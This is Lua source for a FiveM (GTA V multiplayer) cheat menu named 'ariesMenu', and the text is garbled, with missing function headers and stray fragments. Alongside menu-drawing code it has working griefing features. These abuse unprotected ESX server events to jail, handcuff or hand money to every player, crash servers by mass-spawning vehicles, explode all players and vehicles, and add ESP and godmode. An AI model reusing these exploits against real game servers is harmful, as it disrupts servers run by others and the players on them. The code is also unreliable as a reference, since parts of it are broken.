Professional Documents
Culture Documents
Xa
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add
ariesMenu.debug = false
addd
local function RGBRainbow(frequency)
local result = {}
local curtime = GetGameTimer() / 1000
ggg
result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)
return result
end
local menus = {}
local keys = {up = 172, down = 173, left = 174, right = 175, select = 176, back =
177}
local optionCount = 0
if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, false)
end
currentMenu = id
end
end
end
if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end
if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menuWidth - buttonTextXOffset)
SetTextRightJustify(true)
end
end
SetTextEntry("STRING")
AddTextComponentString(text)
DrawText(x, y)
end
if menus[currentMenu].titleBackgroundSprite then
DrawSprite(
menus[currentMenu].titleBackgroundSprite.dict,
menus[currentMenu].titleBackgroundSprite.name,
x,
y,
menuWidth,
titleHeight,
0.,
255,
255,
255,
255
)
else
drawRect(x, y, menuWidth, titleHeight,
menus[currentMenu].titleBackgroundColor)
end
drawText(
menus[currentMenu].title,
x,
y - titleHeight / 2 + titleYOffset,
menus[currentMenu].titleFont,
menus[currentMenu].titleColor,
titleScale,
true
)
end
end
local subTitleColor = {
r = menus[currentMenu].titleBackgroundColor.r,
g = menus[currentMenu].titleBackgroundColor.g,
b = menus[currentMenu].titleBackgroundColor.b,
a = 255
}
if
menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount
and
optionCount <= menus[currentMenu].maxOptionCount
then
multiplier = optionCount
elseif
optionCount > menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount and
optionCount <= menus[currentMenu].currentOption
then
multiplier = optionCount - (menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount)
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nil
local textColor = nil
local subTextColor = nil
local shadow = false
if subText then
drawText(
subText,
menus[currentMenu].x + buttonTextXOffset,
y - buttonHeight / 2 + buttonTextYOffset,
buttonFont,
subTextColor,
buttonScale,
false,
shadow,
true
)
end
end
end
menus[id].visible = false
menus[id].previousMenu = nil
menus[id].aboutToBeClosed = false
menus[id].x = 0.75
menus[id].y = 0.19
menus[id].currentOption = 1
menus[id].maxOptionCount = 10
menus[id].titleFont = 1
menus[id].titleColor = {r = 255, g = 255, b = 255, a = 255}
Citizen.CreateThread(
function()
while true do
Citizen.Wait(0)
local ra = RGBRainbow(1.0)-- RGB MENU DISABLED // NiT34ByTe
--menus[id].titleBackgroundColor = {r = ra.r, g = ra.g, b =
ra.b, a = 255} --RGB MENU DISABLED // NiT34ByTe - Culoare titlu
--menus[id].menuFocusBackgroundColor = {r = ra.r, g = ra.g,
b = ra.b, a = 100} --RGB MENU DISABLED // NiT34ByTe - Culoare meniu
menus[id].titleBackgroundColor = {r = 0, g = 0, b = 0, a =
255}
menus[id].menuFocusBackgroundColor = {r = 0, g = 0, b = 0,
a = 255}
end
end)
menus[id].titleBackgroundSprite = nil
menus[id].subTitleBackgroundColor = {
r = menus[id].menuBackgroundColor.r,
g = menus[id].menuBackgroundColor.g,
b = menus[id].menuBackgroundColor.b,
a = 255
}
if subTitle then
setMenuProperty(id, "subTitle", string.upper(subTitle))
else
setMenuProperty(id, "subTitle",
string.upper(menus[parent].subTitle))
end
function ariesMenu.CurrentMenu()
return currentMenu
end
function ariesMenu.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
if menus[id].titleBackgroundSprite then
RequestStreamedTextureDict(menus[id].titleBackgroundSprite.dict,
false)
while not
HasStreamedTextureDictLoaded(menus[id].titleBackgroundSprite.dict) do
Citizen.Wait(0)
end
end
debugPrint(tostring(id) .. " menu opened")
else
debugPrint("Failed to open " .. tostring(id) .. " menu: it doesn't
exist")
end
end
function ariesMenu.IsMenuOpened(id)
return isMenuVisible(id)
end
function ariesMenu.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then
return true
end
end
return false
end
function ariesMenu.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return false
end
end
function ariesMenu.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = false
setMenuVisible(currentMenu, false)
debugPrint(tostring(currentMenu) .. " menu closed")
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
optionCount = 0
currentMenu = nil
currentKey = nil
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu) .. " menu about to be closed")
end
end
end
if menus[currentMenu] then
optionCount = optionCount + 1
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText .. " button pressed")
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return false
else
debugPrint("Failed to create " .. buttonText .. " button: " ..
tostring(currentMenu) .. " menu doesn't exist")
return false
end
end
return true
end
else
debugPrint("Failed to create " .. tostring(text) .. " menu button: " ..
tostring(id) .. " submenu doesn't exist")
end
return false
end
return true
end
return false
end
callback(currentIndex, selectedIndex)
return false
end
function ariesMenu.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
ariesMenu.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nil
optionCount = 0
end
end
end
function ariesMenu.SetMenuX(id, x)
setMenuProperty(id, "x", x)
end
function ariesMenu.SetMenuY(id, y)
setMenuProperty(id, "y", y)
end
function ariesMenu.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, "titleColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a
or menus[id].titleColor.a})
end
function ariesMenu.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"titleBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].titleBackgroundColor.a}
)
end
function ariesMenu.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(
id,
"menuBackgroundColor",
{["r"] = r, ["g"] = g, ["b"] = b, ["a"] = a or
menus[id].menuBackgroundColor.a}
)
end
function ariesMenu.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, "menuTextColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuTextColor.a})
end
function ariesMenu.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, "menuSubTextColor", {["r"] = r, ["g"] = g, ["b"] = b,
["a"] = a or menus[id].menuSubTextColor.a})
end
function ariesMenu.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, "menuFocusColor", {["r"] = r, ["g"] = g, ["b"] = b, ["a"]
= a or menus[id].menuFocusColor.a})
end
if UpdateOnscreenKeyboard() ~= 2 then
local result = GetOnscreenKeyboardResult()
Citizen.Wait(500)
blockinput = false
return result
else
Citizen.Wait(500)
blockinput = false
return nil
end
end
return result
end
function drawNotification(text)
SetNotificationTextEntry("STRING")
AddTextComponentString(text)
DrawNotification(false, false)
end
local allWeapons = {
"WEAPON_KNIFE",
"WEAPON_KNUCKLE",
"WEAPON_NIGHTSTICK",
"WEAPON_HAMMER",
"WEAPON_BAT",
"WEAPON_GOLFCLUB",
"WEAPON_CROWBAR",
"WEAPON_BOTTLE",
"WEAPON_DAGGER",
"WEAPON_HATCHET",
"WEAPON_MACHETE",
"WEAPON_FLASHLIGHT",
"WEAPON_SWITCHBLADE",
"WEAPON_PISTOL",
"WEAPON_PISTOL_MK2",
"WEAPON_COMBATPISTOL",
"WEAPON_APPISTOL",
"WEAPON_PISTOL50",
"WEAPON_SNSPISTOL",
"WEAPON_HEAVYPISTOL",
"WEAPON_VINTAGEPISTOL",
"WEAPON_STUNGUN",
"WEAPON_FLAREGUN",
"WEAPON_MARKSMANPISTOL",
"WEAPON_REVOLVER",
"WEAPON_MICROSMG",
"WEAPON_SMG",
"WEAPON_SMG_MK2",
"WEAPON_ASSAULTSMG",
"WEAPON_MG",
"WEAPON_COMBATMG",
"WEAPON_COMBATMG_MK2",
"WEAPON_COMBATPDW",
"WEAPON_GUSENBERG",
"WEAPON_MACHINEPISTOL",
"WEAPON_ASSAULTRIFLE",
"WEAPON_ASSAULTRIFLE_MK2",
"WEAPON_CARBINERIFLE",
"WEAPON_CARBINERIFLE_MK2",
"WEAPON_ADVANCEDRIFLE",
"WEAPON_SPECIALCARBINE",
"WEAPON_BULLPUPRIFLE",
"WEAPON_COMPACTRIFLE",
"WEAPON_PUMPSHOTGUN",
"WEAPON_SAWNOFFSHOTGUN",
"WEAPON_BULLPUPSHOTGUN",
"WEAPON_ASSAULTSHOTGUN",
"WEAPON_MUSKET",
"WEAPON_HEAVYSHOTGUN",
"WEAPON_DBSHOTGUN",
"WEAPON_SNIPERRIFLE",
"WEAPON_HEAVYSNIPER",
"WEAPON_HEAVYSNIPER_MK2",
"WEAPON_MARKSMANRIFLE",
"WEAPON_GRENADELAUNCHER",
"WEAPON_GRENADELAUNCHER_SMOKE",
"WEAPON_RPG",
"WEAPON_STINGER",
"WEAPON_FIREWORK",
"WEAPON_HOMINGLAUNCHER",
"WEAPON_GRENADE",
"WEAPON_STICKYBOMB",
"WEAPON_PROXMINE",
"WEAPON_BZGAS",
"WEAPON_SMOKEGRENADE",
"WEAPON_MOLOTOV",
"WEAPON_FIREEXTINGUISHER",
"WEAPON_PETROLCAN",
"WEAPON_SNOWBALL",
"WEAPON_FLARE",
"WEAPON_BALL"
}
function SpectatePlayer(player)
local playerPed = PlayerPedId()
Spectating = not Spectating
local targetPed = GetPlayerPed(player)
if (Spectating) then
local targetx, targety, targetz =
table.unpack(GetEntityCoords(targetPed, false))
function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end
function MaxOut(veh)
SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false),
7)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14,
16, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
17, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
18, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
19, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
20, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
21, true)
ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false),
22, true)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24,
1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38,
GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 1)
SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-
1), false), 5)
end
function DelVeh(veh)
SetEntityAsMissionEntity(Object, 1, 1)
DeleteEntity(Object)
SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
end
function Clean(veh)
SetVehicleDirtLevel(veh, 15.0)
end
function Clean2(veh)
SetVehicleDirtLevel(veh, 1.0)
end
entityEnumerator = {
__gc = function(enum)
if enum.destructor and enum.handle then
enum.destructor(enum.handle)
end
enum.destructor = nil
enum.handle = nil
end
}
function EnumerateObjects()
return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
end
function EnumeratePeds()
return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
end
function EnumerateVehicles()
return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
end
function EnumeratePickups()
return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
end
function RequestControl(entity)
local Waiting = 0
NetworkRequestControlOfEntity(entity)
while not NetworkHasControlOfEntity(entity) do
Waiting = Waiting + 100
Citizen.Wait(100)
if Waiting > 5000 then
drawNotification("Hung for 5 seconds, killing to prevent
issues...")
end
end
end
function getEntity(player)
local result, entity = GetEntityPlayerIsFreeAimingAt(player,
Citizen.ReturnResultAnyway())
return entity
end
function GetInputMode()
return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard" or
"GamePad"
end
-- MAIN CODE --
ShowHudComponentThisFrame(14)
Citizen.CreateThread(function()
local headId = {}
while true do
Citizen.Wait(1)
if playerBlips then
-- show blips
for id = 0, 128 do
if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
-- Speaking display
if NetworkIsPlayerTalking(id) then
SetMpGamerTagVisibility(headId[id], 9, true) --
Add speaking sprite
else
SetMpGamerTagVisibility(headId[id], 9, false)
-- Remove speaking sprite
end
-- BLIP STUFF --
if passengers then
if not IsVehicleSeatFree(veh, -1)
then
passengers = passengers + 1
end
ShowNumberOnBlip(blip, passengers)
else
HideNumberOnBlip(blip)
end
else
-- Remove leftover number
HideNumberOnBlip(blip)
if blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip,
true) -- Player Blip indicator
end
end
SetBlipRotation(blip,
math.ceil(GetEntityHeading(veh))) -- update rotation
SetBlipNameToPlayerName(blip, id) -- update
blip name
SetBlipScale(blip, 0.85) -- set scale
Citizen.CreateThread(
function()
while Enabled do
Citizen.Wait(0)
SetPlayerInvincible(PlayerId(), Godmode)
SetEntityInvincible(PlayerPedId(), Godmode)
if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end
if ePunch then
SetExplosiveMeleeThisFrame(PlayerId())
end
if InfStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end
if Invisible then
SetEntityVisible(GetPlayerPed(-1), false, 0)
else
SetEntityVisible(GetPlayerPed(-1), true, 0)
if(SpeedDemon) then
if IsPedSittingInAnyVehicle(ped) then
local veh = GetVehiclePedIsUsing(ped)
if veh ~= nil then
SetVehicleHandlingFloat(veh, "CHandlingData",
"fMass", 15000000.0);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fInitialDragCoeff", 10.0);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fInitialDriveMaxFlatVel", 1000.0);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fDriveBiasFront", 0.50);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fTractionCurveMax", 4.5);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fTractionCurveMin", 4.38);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fBrakeForce", 5.00);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fEngineDamageMult", 0.50);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fSteeringLock", 65.00);
SetVehicleHandlingFloat(veh, "CHandlingData",
"fRollCentreHeightFront", 0.80);
if VehicleGun then
local VehicleGunVehicle = "Freight"
local playerPedPos = GetEntityCoords(GetPlayerPed(-1),
true)
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false)
then
drawNotification("~g~Vehicle Gun Enabled!~n~~w~Use
The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_APPISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1),
GetHashKey("WEAPON_APPISTOL"), 999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_APPISTOL")) then
if IsPedShooting(GetPlayerPed(-1)) then
while not
HasModelLoaded(GetHashKey(VehicleGunVehicle)) do
Citizen.Wait(0)
RequestModel(GetHashKey(VehicleGunVehicle))
end
local veh =
CreateVehicle(GetHashKey(VehicleGunVehicle), playerPedPos.x + (5 *
GetEntityForwardX(GetPlayerPed(-1))), playerPedPos.y + (5 *
GetEntityForwardY(GetPlayerPed(-1))), playerPedPos.z + 2.0,
GetEntityHeading(GetPlayerPed(-1)), true, true)
SetEntityAsNoLongerNeeded(veh)
SetVehicleForwardSpeed(veh, 150.0)
end
end
end
end
if DeleteGun then
local gotEntity = getEntity(PlayerId())
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false)
then
drawNotification("~g~Delete Gun Enabled!~n~~w~Use The
~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To Delete!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_PISTOL")) then
if IsPlayerFreeAiming(PlayerId()) then
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity,
true) then
if IsControlJustReleased(1,
142) then
SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
else
if IsControlJustReleased(1,
142) then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
else
if IsControlJustReleased(1, 142)
then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
end
end
end
end
if destroyvehicles then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1),
false)) then
NetworkRequestControlOfEntity(vehicle)
SetVehicleUndriveable(vehicle,true)
SetVehicleEngineHealth(vehicle, 100)
end
end
end
if freezeall then
for i = 0, 128 do
TriggerServerEvent("OG_cuffs:cuffCheckNearest",
GetPlayerServerId(i))
TriggerServerEvent("CheckHandcuff",
GetPlayerServerId(i))
TriggerServerEvent('cuffServer',
GetPlayerServerId(i))
TriggerServerEvent("cuffGranted",
GetPlayerServerId(i))
TriggerServerEvent("police:cuffGranted",
GetPlayerServerId(i))
TriggerServerEvent('esx_handcuffs:cuffing',
GetPlayerServerId(i))
TriggerServerEvent('esx_policejob:handcuff',
GetPlayerServerId(i))
end
end
if explodevehicles then
for vehicle in EnumerateVehicles() do
if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1),
false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
NetworkRequestControlOfEntity(vehicle)
NetworkExplodeVehicle(vehicle, true, true,
false)
end
end
end
if esp then
for i = 0, 300 do
if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
local ra = RGBRainbow(1.0)
local pPed = GetPlayerPed(i)
local cx, cy, cz =
table.unpack(GetEntityCoords(PlayerPedId()))
local x, y, z =
table.unpack(GetEntityCoords(pPed))
local message =
"~g~~h~" ..
GetPlayerName(i) ..
"\n~h~~b~ Dist: " ..
math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, false), 1)
LineOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
LineOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
LineTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
LineTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
LineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
LineThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
LineFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
TLineOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
TLineOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
TLineTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
TLineTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
TLineFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
ConnectorOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
ConnectorTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
ConnectorFourEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
end
end
end
if supergrip then
SetHandlingInt(GetVehiclePedIsUsing(PlayerPedId()),
CHandlingData, fTractionCurveMin, 1000000)
end
if blowall then
for i = 0, 300 do
AddExplosion(GetEntityCoords(GetPlayerPed(i)),
2, 100000.0, true, false, 100000.0)
end
end
if banallusers then
for i = 0, 450 do
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 3000)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 9937, "youtube.com/c/aries98 <--- NAJLEPSZE CHEATY NA
FIVEMA :)", 300)
TriggerServerEvent("esx-qalle-jail:jailPlayer",
GetPlayerServerId(i), 5000, "youtube.com/c/aries98 <--- NAJLEPSZE CHEATY NA
FIVEMA :)")
TriggerServerEvent("esx-qalle-jail:jailPlayerNew",
GetPlayerServerId(i), 5000, "youtube.com/c/aries98 <--- NAJLEPSZE CHEATY NA
FIVEMA :)")
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 50000)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 5000, "youtube.com/c/aries98 <--- NAJLEPSZE CHEATY NA
FIVEMA :)")
TriggerServerEvent("js:jailuser", GetPlayerServerId(i),
5000, "dude weed")
TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0,
0 }, GetPlayerName(PlayerId()) .." xAries on YOUTUBE.")
end
end
if esxdestroy then
for i = 0, 450 do
TriggerServerEvent('esx_truckerjob:pay',
9999999999)
TriggerServerEvent('AdminMenu:giveCash',
9999999999)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(i), "item_money", "money", 10000000)
TriggerServerEvent('esx_billing:sendBill',
GetPlayerServerId(i), "Purposeless", "Best aries Menu", 10000000)
TriggerServerEvent('chatMessageEntered',
"SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .." xAries on YOUTUBE.")
end
end
if servercrasher then
local camion = "phantom"
local avion = "CARGOPLANE"
local avion2 = "luxor"
local heli = "maverick"
local random = "bus"
CreateVehicle(GetHashKey(avion), 0, 0, -10, true, true)
CreateVehicle(GetHashKey(avion), 0, 0, -50, true, true)
CreateVehicle(GetHashKey(avion), 0, 0, -100, true, true)
CreateVehicle(GetHashKey(avion2), 0, 3, -1000, true, true)
CreateVehicle(GetHashKey(avion2), 1621, 0, -50, true, true)
CreateVehicle(GetHashKey(avion2), 1242, 1, -100, true,
true)
CreateVehicle(GetHashKey(camion), 612, 4, -10, true, true)
CreateVehicle(GetHashKey(camion), 1234, 0, -50, true, true)
CreateVehicle(GetHashKey(camion), 0, 0, -100, true, true)
CreateVehicle(GetHashKey(random), 512, 1233, -10, true,
true)
CreateVehicle(GetHashKey(random), 155, 2, -50, true, true)
CreateVehicle(GetHashKey(random), 333, 0, -100, true, true)
CreateVehicle(GetHashKey(heli), -121, 100, -10, true, true)
CreateVehicle(GetHashKey(heli), -121, 2555, -50, true,
true)
CreateVehicle(GetHashKey(heli), -121, 123, -100, true,
true)
end
if nuke then
local camion = "phantom"
local avion = "CARGOPLANE"
local avion2 = "luxor"
local heli = "maverick"
local random = "bus"
for i = 0, 128 do
while not HasModelLoaded(GetHashKey(avion)) do
Citizen.Wait(0)
RequestModel(GetHashKey(avion))
end
